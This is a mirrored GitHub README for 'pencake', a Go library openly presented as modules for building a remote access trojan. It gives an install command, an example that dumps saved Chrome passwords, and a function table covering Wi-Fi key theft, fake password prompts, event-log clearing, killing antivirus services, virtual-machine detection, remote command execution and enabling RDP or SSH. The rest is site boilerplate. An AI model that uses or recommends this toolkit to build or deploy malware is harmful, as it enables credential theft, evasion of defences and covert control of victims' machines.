Giter VIP home page Giter VIP logo

pencake's Introduction

Pencake

Modules you need for building a rat!

Example

Getting all your chrome passwords

package main

import (
	"fmt"
	"github.com/shouc/pencake"
)

func main()  {
	fmt.Println(pencake.ChromePassword())
}

/*
Ouput:
[{https://sso.stupid.edu [email protected] password} ...]
*/

Getting Started

go get -u github.com/shouc/pencake

Usage

Function Name Description Returns Requirement OS
AskPass() Ask user about their password string (user input) / macOS
ChromePassword() Dump user's saved password in Chrome pencake.ChromePasswordStruct root privilege on macOS & Linux macOS / Windows
ClearLogs() Clear event logs bool (whether successful) administrator Windows
DisableRemote() Stop either SSH or RDP / root or administrator All
Environment() Get all environment variables pencake.EnvironmentStruct / All
Exec(command string) Execute bash code string (output) / All
KillAv() Stop all anti-virus services string (AV name) administrator Windows
Popup(message string) Pop up a message box / / macOS / Windows
RemoteControl() Start either RDP or SSH / root or administrator macOS / Windows
Restart() Restart system / depend on system All
Shutdown() Shutdown system / depend on system All
Sleep() Sleep system / / All
SysInfo() Get system information pencake.SysInfoStruct / All
Unsleep() Exit sleeping / / All
VmScan() Scan whether system is running on the VM string (VM name) / macOS
WifiKey() Get all saved WiFi names and passwords pencake.WifiKeyStruct depend on system macOS

Data Structure

pencake.ChromePasswordStruct

type ChromePasswordStruct struct {
	Url      string
	UserName string
	Password string
}

pencake.EnvironmentStruct

type EnvironmentStruct struct {
	Key   string
	Value string
}

pencake.SysInfoStruct

type SysInfoStruct struct {
	Os       string
	Arch     string
	UserName string
	Name     string
	IsAdmin  bool
	PublicIp string
}

pencake.WifiKeyStruct

type WifiKeyStruct struct {
	Name     string
	Password string
}

pencake's People

Contributors

shouc avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.